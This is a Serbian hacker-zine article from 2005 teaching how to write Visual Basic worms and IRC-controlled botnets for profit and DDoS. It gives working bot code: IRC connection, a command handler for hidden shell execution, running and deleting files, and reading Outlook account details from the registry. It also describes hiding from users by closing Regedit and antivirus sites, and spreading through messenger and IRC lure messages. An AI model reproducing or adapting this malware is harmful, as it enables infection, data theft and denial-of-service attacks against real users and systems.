................... ...::: phearless zine #1 :::... .....................>---[ vx coding: new ideas ]---<...................... ........................>---[ by ACidCooKie ]---<.......................... SADRZAJ: [1] Uvod [2] Razrada [3] Zakljucak //////////////////////////////////////////////////////////////////////////// --==[ 1. Uvod \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Dakle posle mog lame tutora za vbs scripting ide jos jedan :) naravno jos gluplji i dosadniji... hmm pa, verovatno ste culi o mom wormu sto sam kodirao u VB... uff visualbasic... ne znam ali ja ga volim otkad sam poceo da nesto ucim i radim uvek je on bio tu... i po meni je stvarno mocan... do odredjene granice naravno... ali sto se tice kodiranja wormova za windows i to... po meni je savrsen... Uglavnom u daljem textu cu pisati o nekim mojim idejama i stvarima koje treba da se iskoriste ako zelite da pisete wormove, jer u sustini sve je vec vidjeno i bitno je da napravite nesto sto jos niko nije, sto je tesko... ali makar pokusajte ;) Uglavnom bitno je da kad kodirate da ne kodirate stvari koje su vec vidjene. Pokusajte izmisliti nesto novo, pa makar to novo predstavljalo i milimetarski pomak u odnosu na danasnje wormove... Po meni je to najbitnije. Ja iskreno nisam neki koder, ali me ovo interesuje vec dugo godina i trudim se u tome, a kad se trudite dobijate i rezultate! Bitno je da zamislite nesto a onda da to i ostvarite. Ja ne mogu sve da prenesem na papir, ali potrudicu se da zapishem ono sto se setim ;) Ukoliko ste pocetnik u ovome, nemojte ni pokusavati dalje da citate... //////////////////////////////////////////////////////////////////////////// --==[ 2. Razrada \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Pa da pocnemo. U sustini, po meni, postoje dve podele kodiranje wormova: prva je ona od koje nemate kotisti i ona od koje mozete da imate :) Ili tacnije, da li pisete worma s ciljem da se sto vise prosiri i da nemate bas nikakve koristi, tek tako da ostavi neku poruku ili otkud znam da npr. nekog odredjenog datuma obrise ceo system... Ili ipak pisete worma sa delimicno istim ciljem (da zarazi citavu planetu :)) ali da imate i neke koristi od toga? Ja sam vise za ovu drugu, tj. to vam se zove BotNet, ili wormnet :D ili tacnije puno zarazenih racunara koje vi kontrolisete sa jednog mesta, kao sto su na primer troyanci (sub7 i ostala govna) ali to su Client / Server stvari...1 to 1 (host to host) a ovo je sasvim nesto drugo. Verovatno ste vidjali po mnogim sajtovima, forumima i slicno imena poput "ForBot, SdBot, RBot" i slicno. To su sve wormovi koji iskoriscavaju neke windows propuste: da li preko nekih fabrickih windows bugova ;) ili preko neki socijal sirenja tipa emaila, irc i slicno. To varira od jedne do druge vrste wormova. Uglavnom, iz dana u dan su sve mocniji i stalno ih autori dopunjavaju. Imate na netu raznih source codova tih wormova, i uglavnom svi su pisani u C++. Ali, sve je to izvodljivo i u VB-u... Mnogi ih koriste za takozvane Denial of Service napade DDOS, zato sto za vrlo kratko vreme mozete da imate par hiljada mashina tj. kompjutera koje mozete da kontrolisete i da im zadajete komande koje ce svi u isto vreme da izvrsavaju. Nadam se da Vam ovo govori puno toga :) Pored toga sto mozete da zadate komandu tipa "ping www.microsoft.com" mozete na primer otvoriti url na 5000 racunara i tamo da se nalazi neki vas banner :) click to pay! hehe pa i da zaradite nesto :D Otkud znam... mogucnosti su velike... samo treba da iskoristite to maximalno. Ja sam nedavno pisao neki worm koji je bio sasvim nesto novo. Za nekih sedam dana je zarazio oko 2000 racunara, a krenuo je samo sa jedne masine :) / - sest / - tri / - dva jedan - \ - cetiri \ - pet \ - sedam \ - osam itd... itd.. Vise o njemu imate na: http://www.elitesecurity.org/tema/70997 nemam sad zivaca da objasnjavam detaljno.. Uglavnom poceo sam da Vam pricam ovo zato sto verovatno dok zavrsim ovaj tutor bice gotova i druga verzija, ili dok izadje ceo zine. Bitno je da u pravi cas napravite pravu stvar ;) Pare se vise ne zaradjuju na lep i posten nacin, vec na foru... pa tako i ovo.. ljude treba da iznenadite i tako da ih upecate. Sto se tice Anti-Virusa... hmm pa vama nije u sustini ni bitno jedan manje ili vishe racunar, uglavnom kad napishete neki worm novi AV ga ne prepoznaje, a i da ga prepoznaje, mnogi nemaju instaliran nikakav AV, pa tako da nije frka. Ali nikad nije na odmet neko killanje AV. O tome ima dosta na netu, samo treba citati i raditi... Ok pa da predjemo na nesto pametnije. Dosao sam na jednu ideju koja je veoma prosta, a pritom korisna. Dakle, radi se o 'API Functions for Window's Titles'. Hmm, svaki program ili sta vec ima svoj TITLE. Kad otvorite Regedit gore pise 'Registry Editor', a to je ujedno i razlog zbog kojeg ja sad ovo pricam. To bi nam bilo veoma korisno, jer tako bi mogli da killujemo svaku aplikaciju neodgovarajuceg ili iritirajuceg :) imena... Ukoliko je vas worm pokrenut na nekoj masini (skriven), i user pokrene Regedit kako bi ga izbrisao iz registrya, vi jednostavno preko komande SendKeys mozete da posaljete odredjeni kljuc, tj. taster. I ako worm prepozna title moze da posalje kljuc tipa ALT+F (file) i onda X, i tako da ga zatvori. Hmm zanimljivo a :) Ovo vam otvara neke nove ideje... da kao i meni sto je otvorilo :D Nema vise komandi i silnih kodova za Proccess Killovanje i gluposti :D jednostavno, lako, a mnogo korisno... Dakle, kad sam dosao na tu ideju sinule su mi mnoge druge. Na primer, ne morate da blokirate protoke prema nekim AV sajtovima kako user ne bi stinuo neki remove tool za vas worm, vec mozete da programirate worma da prepoznaje titlove browsera, tipa: findav ("Sophos - anti-virus") findav ("Microsoft Corporation") findav ("Symantec Worldwide Home Page") findav ("avast! antivirus software") Mozete staviti kakav hocete text od jedne reci. Cim se pojavi jedan deo texta kojeg ste vi zadali da trazi, onda mozete da mu posaljete SendKeys da zatvori browser :D i tako zarazeni korisnik ne moze da otvori ni www.google.com niti jednu drugu stranicu koju vi isprogramirate da blokira, tj. da zatvara browser. EEEee sad :D U mom wormu proslom, ako ste citali ili znate vec, sirio se tako sto je otvarao Webserver na svakoj mashini i iskoriscavao je bug u IE, tako da bilo ko poseti sajt (webserver usera zarazenog) automacki se zarazi, ili ako koristi neki novi IE onda mu se ispise lista zanimljivih fajlova i ako downloduje nesto, onda se opet inficira. Ovo Vam pricam zbog tog WebServera - bitna stvar kod tog nacina sirenja je reklamiranje samog url-a, tj. da pozovete sto vishe ljudi da poseti vas sajt, odnosno IP zarazenog racunara: http://ipaddress:port Opet sve ovo pricam zbog malo pre onoga sto sam pricao u vezi SendKeys. Ako koristite ovu nazovimo :) moju metodu, vise vam nisu potrebne API funkcije za messengere: MSN, ICQ, Mirandu, Yahoo msg... mislim na slanje poruka preko njih. Zasto??? pa zato sto mozete da programirate worma da prepozna Title od messengera: 'MSN findmsn ("Conversation") 'ICQ findicq ("Message Session") 'yahoo findyahoo ("Instant Message") Heh cool a :) Znaci ukoliko je worm aktivan ma mashini i inficirani user pokusa da napise nekom poruku na ICQ na primer, cim worm prepozna title "Message Session" automacki salje jednu od vasih programiranih poruka, tipa "Hey druze vidi ovaj url sto je super http://ipadresa:port" :) i ovaj pomisli da mu to salje drug i otovri utl tako se inficira. Znaci prilikom otvaranje konverzije (chat boxa) worm posalje poruku i posalje "ESC" znaci SendKeys "{ESC}", automacki zatvara prozor... :D Niti je inficirani user video sta je poslao niti ista drugo, sve se desava u jednoj sekundi. Isto tako ukoliko mu stigne poruka od nekoga, cim pokusa da je vidi, desi se isto - worm salje poruku i zatvara pricanje. U sustini ovo je jako korisno, jer ne morate da koristite silne linije koda da bi ste postigli sta zelite :D Moj sledeci crv koji sad treba da ga zavrsim za par dana ce da koristi sve messengere, na ovaj nacin. Uglavnom, rekao sam vam sta mi je jedna od korisnih ideja. Takodje mozete ovo da iskoriscavate u neke svrhe tipa kad se pojavi odredjeni title da se ispishe neka poruka smesna, ili da se ukljuci neki keyloger, ili otkud znam... na vama je da mastate :D Sourcecode od ovoga nisam postovo ovde, zato sto ga ima na netu. Potrazite malo: 'API Functions for Window's Titles', ili sacekajte da objavim source code worma. Vazno je da sam rekao za ideju :D E sad ja opet forsiram tu pricu o reklamiranju tog url-a, tj. odredjene poruke, ali *ebiga, ja ne znam drukcije kako da se worm proshiri osim na ovako ove moje nacine :D Ima jos nesto cega sam se setio :) Da da ne zaboravim ovo nije za baciti sve :D, jer iz dana u dan izlaze nove IE greske, tj. bugovi, pa bitno je kao sto sam rekao da sacekate odredjeni trenutak i iskodirate pravu stvar i onda je pustite u pogon :D E sad, kako kaze PandaLabs "could represent a new trend in malicious code techniques" za moj worm, URL: http://www.vnunet.com/news/1158607 Dakle radi se o tome, mojoj ideji gde sam u wormu uneo naprimer 60 IRC servera, i napravio sam jednostavno izlistavanje #soba rooms, i onda sam zadao Random ulazenje u njih. Znaci ne ide redom 1,2,3,4,5 vec 1,4,2,1,5,7 i tako dalje, i kad god udje u sobu kaze odredjeni text i izadje iz nje ;) tipa "E angelina jolie se *ebe ovde :) http://ipadresa:port" Bitno je da unesete i razne nicknameove sto ce worm da koristi, tipa: Lista1 Nenad Lista1 Marko Lista1 Petar Lista2 Markovic Lista2 Nikolic Lista2 Jevrosimovic ...i onda izmesate to (Randomize)... Lista1 + Lista2... kako bi ste dobili vise kombinacija nickname-ova za koriscenje. E sad, izlistavanje soba sam uradio u text box, i onda kad se zavrsi to, ide kod za ulazak i slanje poruke. Evo primer: (da oko ovoga mi je pomogao (pcmaniac) hvala :) On Error GoTo greska Sleep 15 strsobe = txtHappening lastfound = 0 Do pos1 = InStr(lastfound + 1, strsobe, "#") strsamosobe = strsamosobe + Mid(strsobe, pos1, InStr(pos1, strsobe, " ") - pos1) lastfound = pos1 Loop While (InStr(lastfound + 1, strsobe, "#") > 0) soba = Split(strsamosobe, "#") For n = 1 To UBound(soba) sobarnd = soba(Rnd * UBound(soba)) Randomize Sleep 2 sckIRC.SendData "JOIN :#" & sobarnd & vbCrLf Sleep 3 sckIRC.SendData "PRIVMSG #" & sobarnd & " :" & usemsgtosend & vbCrLf Sleep 1 sckIRC.SendData "PART :#" & sobarnd & vbCrLf Next n sckIRC.SendData "QUIT" & vbCrLf sckIRC.Close Call irc greska: To je to... nadam se da nekom treba. Uglavnom, bitna stvar kod irc konekcije jesu oni glupi botovi na serveru sto vam salju poruke tipa CTCP VERSION i tako te stvari, kao proverava verziju software-a, a ako ne odgovorite on vas killne sa servera i tako otkrivaju botove i ostalo... ali to je vrlo lako zaobici, samo ja nisam imao vremena da se bahcem oko toga... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- E sad idemo na nesto tipa backdoor. Ja sam kodirao jedan nacin kontrole racunara preko IRC-a, zadavanjem komandi, sto je kod botnet-ova standard. Uglavnom svi koriste takvu kontrolu. Taj deo mi je jako interesantan, zato sto bukvalno mozete sve, samo treba Vam ispiracija :D Ja cu vam dati par ideja sto sam ja stavljao u moj worm. Kao prvo, bitno je da nadjete neki irc server na koji mogu botovi da se konektuju, jer mnogi ce preko firewallova i sl. otkriti gde ide konekcija. Ali bitno je da taj deo source coda gde bot ulazi u odredjenu #sobu na vasem irc serveru kriptujete, ili bar sifru. Znaci ovaj deo "join #bots password", kako drugi nebi mogli da vide to. Posto, normalno, necete imati svoj irc server, vazno je napraviti da ukoliko worm ne moze da se konektuje na jedan server, da odmah pokusa na drugi sa liste, i tako redom. Ja sam kod mojih drugara vidjao #sobe po 10000 usera :D to nemozete da verujete... znaci 10000 mashina u jednoj sobi hheheh :D i onda se na public daju komande tipa !ddos IPADRESA :D i onda kad svi udare... stvori se ogroman PAKET/SEKUND :) strasno, uzmimo da svaki moze da da maksimalno 3Kb/s (ali sigurno moze vise, pogotovo u razvijenim zemljama), znaci 3 * 10000 = 30000 Kb ==> 30 megabajta!!! Jos jedna stvar: kod kodiranja nicknamova kad se bot konektuje na server ja sam stvar resio ovako: Private Sub botSCK_Connect() On Error Resume Next Randomize broj = Int(Rnd * 10000) broj1 = Int(Rnd * 10000) Sleep 2 botSCK.SendData "USER alo 0 * :haha" & broj & vbCrLf botSCK.SendData "NICK SkyLove" & broj & broj1 & vbCrLf Sleep 6 botSCK.SendData "JOIN :#code" & vbCrLf End Sub Gotovo je nemoguce da vam se desi da racunar generise nickname sa istim brojem, tipa: "SkyLove{broj}{broj1}" OK idemo dalje... Kod same konekcije bota na server bitno je da imate odgovor na PING. Evo kako moj deo koda izgleda, kod same konekcije: (uz izlaganje koda, ujedno cu i objasnjavati pojedine delove i detalje koda) Private Sub botSCK_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim strData As String, arrData() As String, i As Long Dim arrWords() As String, arrParms() As String Dim arrRooms() As String botSCK.GetData DataString, vbString arrData = Split(DataString, vbCrLf) For i = 0 To UBound(arrData) - 1 arrWords = Split(arrData(i), " ") arrParms() = Split(arrData(i), ":") arrRooms() = Split(arrData(i), "#") memory = UCase$(arrWords(3)) For a = 4 To 99 msg = msg & arrWords(a) & " " Next a '****************************************** 'ping pong If UCase$(arrWords(0)) = "PING" Then botSCK.SendData "PONG :" & arrParms(1) & vbCrLf End If Ovde vidite odgovor na PING .. worm prepoznaje rec PING i odgovara sa: "PONG :" & odredjeni brojevi & arrParms(1). Kod irc-a je bitno na kraju vbCrlf, zbog ENTERA, tj. da se posalje da bi server dobio poruku. Idemo dalje. Ovde sam napravio da npr. na private botu kad kazete "!MYNICK BO1" on cuva to u text box, i onda vam odgovara da je Vas nickname sacuvan u njegovoj memoriji tj. u text boxu, kako bi mogao dalje da komunicira sa vama... If memory = ":!MYNICK" Then Text1.Text = arrWords(4) botSCK.SendData prvmsg & " :Your nick saved! Type !HELP" & vbCrLf End If 'preskoci ako nema nick If Text1.Text = "" Then GoTo nemanick End If Ovo 'memory' je ustvari prepoznavanje text posle treceg razmaka sto vidite gore: 'memory = UCase$(arrWords(3))'. Posle toga mozete napraviti neki help meni, kao ovaj sto dajem nastavku koda. Ukoliko ukucate na private !HELP, on vam izbaci ovako: 'help menu If memory = ":!HELP" Then botSCK.SendData prvmsg & " :******************** i-worm.vash worm :) help ********************" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :Ok hello :) This is worm help" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : " & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :0. !HELP this menu" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :1. !MSG [send some critical msg]" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :2. !CHAT you can chat whit user :) start sesion" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : !CHATCLOSE close chat sesion to user.." & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :3. !SYSINFO system information" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :4. !SHELL [any MS-DOS command]" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :5. !WRITE [path to file] [some text]" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : Example: !WRITE C:\windows\desktop\read.txt luser fuck you" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :6. !EXE [path to file] < execute files" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :7. !KILL [path to file] < delete any file" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :8. !REBOOT brute force reboot user system :)" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :9. !DOWNFILE Download file from some url" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : Example: !DOWNFILE http:\\www.hacker.com/name.exe C:\save\to\path.exe" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :********************** END HELP ***********************" & vbCrLf End If Ok, ovde uglavnom vidite neke komande koje sam ja stavio.. u ovoj mojoj probnoj verziji worma, koje su mi najbitnije. Non stop se ponavlja Sleep 1.5 tj. pauza od sekund ipo. To sam stavio zbog moguceg detektovanja flood-a bota, jer ako to server primeti, on vas moze diskonektovati zbog navodnog "flooda" dok vam vas bot salje te informacije na private msg... E sad, dole cu pokazati kodova za neke od ovih komandi, tj. kako sam ja to resavao: 'send msg If memory = ":!MSG" Then botSCK.SendData prvmsg & " :Message is SENT!!!" & vbCrLf Sleep 2 MsgBox msg, vbCritical, "Fatal Error:" botSCK.SendData prvmsg & " :User click 'OK'" & vbCrLf End If Ovo je prost kod za slanje poruka, gde vi kazete nesto tipa "!MSG pusi kitu mom drugu titu :)". Vidite ovaj deo koda: MsgBox msg, vbCritical, "Fatal Error:" ...ovaj 'msg' je gore naveden, tj. ima petlju da se stalno vrti. I tako sam resio posle cetvrtog 4 razmaka " " da ide do 99, tj. da pamti ceo text koji unesete. Idemo dalje. Chat konverziju sa userom sam napravio iz zezanja, ono cisto eto :D resio sam je vrlo jednostavno. Morate kreirati jednu formu, new window, iskljuciti Title Box i staviti da uvek stoji prva, (u ovom slucaju 'frmchat' i onda)... 'chat whit user If memory = ":!CHATCLOSE" Then frmchat.Text1.Text = "" frmchat.Visible = False botSCK.SendData prvmsg & " :***** Chat sesion to user CLOSED! *****" & vbCrLf End If If memory = ":!CHAT" Then frmchat.Show botSCK.SendData prvmsg & " :***** CHAT SESSION OPEN *****" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :Chat whit user like: !CHATSEND [text to send]" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :Don't forget to close session if you finish !CHATCLOSE" & vbCrLf End If If memory = ":!CHATSEND" Then frmchat.Text1.Text = frmchat.Text1.Text & "Hacker: " & msg & vbCrLf botSCK.SendData prvmsg & " :Your text received!" & vbCrLf End If Znaci jednostavna forma sa dva text boxa, jedan da sluzi za ispis poruke koju saljete i drugi gde ce on da kuca poruku, i jedno dugme BUTTON, sa kodom: Private Sub Command1_Click() frmirc.botSCK.SendData "PRIVMSG " & frmirc.Text1.Text & " :User send this text: " & Text2.Text & vbCrLf Text1.Text = Text1.Text & "You: " & Text2.Text & vbCrLf Text2.Text = "" End Sub Vrlo prosto! I tako mozete da caskate :D Jos nesto: ukoliko zelite da vam ta forma stoji non stop ->prva<- evo mali kod: Private Sub Form_Load() Dim b As Boolean b = SetWinPos(1, Me.hwnd) End Sub Bar radi na win98 :D verovatno i na XP. Zatim system informacije. To je onako cisto neki mali info koji mozete da dopunite prema vasim idejama: 'system information If memory = ":!SYSINFO" Then For a = 1 To 9 ssmtp = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Server") sname = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Display Name") smail = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Email Address") Next a botSCK.SendData prvmsg & " :/ ******* SYSTEM INFORMATION ******* \" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :My local IP: " & botSCK.LocalIP & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : Host Name: " & botSCK.LocalHostName & vbCrLf Sleep 1.5 If ssmtp = "" Then botSCK.SendData prvmsg & " :Can't find >> outlook << email info" & vbCrLf Else botSCK.SendData prvmsg & " :>>>>> Outlook info: <<<<<<" & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : SMTP Server: " & ssmtp & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : SMTP Display Name: " & sname & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " : SMTP Email Address: " & smail & vbCrLf End If botSCK.SendData prvmsg & " :My path is: " & App.Path & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :Now in my clock is: " & Time$ & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :Computer name: " & wshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") & vbCrLf Sleep 1.5 botSCK.SendData prvmsg & " :\ ******* END SYSTEM INFORMATION ******* /" & vbCrLf End If '****************************************** Uglavnom IP i host name cita iz winsock, Outlook config iz registrya kao sto vidite, i tako... vrlo jednostavno. Shell komandu, tj. bilo koju MS-DOS komandu tipa format C: ili sta vec, sam resio kreiranjem .bat fajla pokretanjem i brisanjem: 'SHELL command If memory = ":!SHELL" Then Open App.Path & "\shell.bat" For Output As #1 Print #1, msg & "> shell.txt" Close #1 Shell (App.Path & "\shell.bat"), vbHide Kill (App.Path & "\shell.bat") botSCK.SendData prvmsg & " :MS-DOS Command: [" & msg & "] executed!" & vbCrLf End If ok Evo jos par prostih kodova za pisanje fajla, pokretanje, brisanje... '****************************************** 'white file If memory = ":!WRITE" Then For a = 5 To 99 textmsg = textmsg & arrWords(a) & " " Next a Open arrWords(4) For Output As #1 Print #1, textmsg Close #1 botSCK.SendData prvmsg & " :Your text saved to this file: " & arrWords(4) & vbCrLf End If '****************************************** 'EXE execute If memory = ":!EXE" Then If fso.FileExists(arrWords(4)) Then Shell (arrWords(4)), vbHide botSCK.SendData prvmsg & " :File [" & arrWords(4) & "] executed! hidden" & vbCrLf Else botSCK.SendData prvmsg & " :User don't have this file:[" & arrWords(4) & "]" & vbCrLf End If End If '****************************************** 'KILL file If memory = ":!KILL" Then If fso.FileExists(arrWords(4)) Then Kill (arrWords(4)) botSCK.SendData prvmsg & " :File [" & arrWords(4) & "] killed!" & vbCrLf Else botSCK.SendData prvmsg & " :User don't have this file:[" & arrWords(4) & "]" & vbCrLf End If End If itd.itd.itd.. :D nikad kraja.. hehe :D.. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Ok, to je to uglavnom sto se tice botova i sranja. Dacu vam jos par korisnih kodova sto sam nashao na netu. Veliki problem je Sleep, zbog svoje LOOP metode u kojoj uzima 100% cpu... E sad tada dodje i do blokiranja na momente celog systema, tj. zamrzne se komp. Nasao sam sleep koji uzima 100% cpu-a ali radi perfekt - nista ne koci, i sto je najvaznije - ne zamrzava :D To stavite u modul: Public Sub Sleep(ByVal inWaitSeconds As Single) Const WAIT_OBJECT_0 As Long = 0 Const WAIT_TIMEOUT As Long = &H102 Dim lastTick As Single Dim timeout As Long timeout = inWaitSeconds * 1000 lastTick = Timer Do Select Case MsgWaitForMultipleObjects(0, 0, False, timeout, 255) Case WAIT_OBJECT_0 DoEvents timeout = ((inWaitSeconds) - (Timer - lastTick)) * 1000 If timeout < 0 Then timeout = 0 Case Else Exit Do End Select Loop While True End Sub I ovo Vam je bitno da stavite skroz gore na TOP coda modula: 'Private Declare Function MsgWaitForMultipleObjects Lib "user32" (ByVal nCount As Long, pHandles As Long, ByVal fWaitAll As Long, ByVal dwMilliseconds As Long, ByVal dwWakeMask As Long) As Long' kako bi sve to radilo kako treba :D ----------------------------------------------------- Druga korisna stvar je (ako vam zatreba) kod koji proverava svakih par minuta internet konekciju. Ukoliko pravite worma, ubacite ovaj deo koda na primer u winsock error, da bi on pozvao ovaj sub i da bi proverio da li postoji konekcija. Ovo je bitno da ne bi doslo do neke greske u wormu ako user nije vise konektovan. Ovo ide u modul isto: Sub checknet() On Error Resume Next Dim m, s proverinet: If InternetGetConnectedState(0&, 0&) = 1 Then GoTo okNETaktiviran Else GoTo opetnetprovera End If 'ako nisi na netu idi opet na proveru opetnetprovera: Do m = Minute(Now) s = Second(Now) If m = 0 And s = 0 Then GoTo proverinet If m = 3 And s = 0 Then GoTo proverinet If m = 5 And s = 0 Then GoTo proverinet If m = 8 And s = 0 Then GoTo proverinet If m = 10 And s = 0 Then GoTo proverinet If m = 13 And s = 0 Then GoTo proverinet If m = 15 And s = 0 Then GoTo proverinet If m = 18 And s = 0 Then GoTo proverinet If m = 20 And s = 0 Then GoTo proverinet If m = 23 And s = 0 Then GoTo proverinet If m = 25 And s = 0 Then GoTo proverinet If m = 28 And s = 0 Then GoTo proverinet If m = 30 And s = 0 Then GoTo proverinet If m = 32 And s = 0 Then GoTo proverinet If m = 35 And s = 0 Then GoTo proverinet If m = 38 And s = 0 Then GoTo proverinet If m = 40 And s = 0 Then GoTo proverinet If m = 42 And s = 0 Then GoTo proverinet If m = 45 And s = 0 Then GoTo proverinet If m = 48 And s = 0 Then GoTo proverinet If m = 50 And s = 0 Then GoTo proverinet If m = 53 And s = 0 Then GoTo proverinet If m = 55 And s = 0 Then GoTo proverinet If m = 58 And s = 0 Then GoTo proverinet DoEvents Loop okNETaktiviran: msgbox "ovde ide komanda koju ocete.. ukoliko je net aktivan" End Sub Takodje ovo nece raditi ako ovo ne stavite gore na top modula: 'Public Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long' ----------------------------------------------------- Jos jedan kod, koji vam mozda zatreba, a to je pronalazenje odredjenog stringa, tj. text u nekom text boxu... To vam je za one pretrage sa SendKeys i titlovima. Ja sam napravio da titlove aktivnih programa cuva u text boxu, pa onda kod izgleda ovako: Function findav(a As String) As Boolean Dim b As Integer b = InStr(Text2, a) If b > 0 Then Sleep 1 SendKeys "%F" SendKeys "c" SendKeys "%F" SendKeys "x" End If End Function Radi tako sto zadajete komandu tipa "findav("ludilo")" i ako nadje na rec ludilo u textboxu, onda uradi isprogramirani posao, ili u drugom slucaju ne radi nista. ===================================================================== --== {3. Zakljucak :D ===================================================================== E pa dragi moji to vam je to otprilike... Stvarno ne mogu vise da kucam i razmisljam. Danas je 05.02.2005 tako da sam zavrshio i ovo. Uglavnom to su neki sitni korisni kodovi i tako ideje neke i otkud znam... u sledecem zinu cu pisati nesto novo i tako do tada... :D uzivajte i napravite nesto novo.. ako imate neke ideje, predloge i/ili primedbe i ostalo saljite na viruskrew@yahoo.com... Veliki pozdrav za sve moje projatelje kako odavde tako i odande :D, tj. za ceo II-LABS.org team pogotovo za BoyScout-a, onda ceo BihNet.org team, m0f0, eman, morphine i ostalu ekipu koja posecuje forum...mog druga e[a]x-a, ceo VirusKrew... DTM, phreak, Dominus... i naravno da nezaboravim lame forum ES :D salim se heh... Hmm poz za naravno: #secure, #ugs :) // krstarica hehe ACIdCooKie / CooKie / BO1 / from Serbia ;) | VIRUSKREW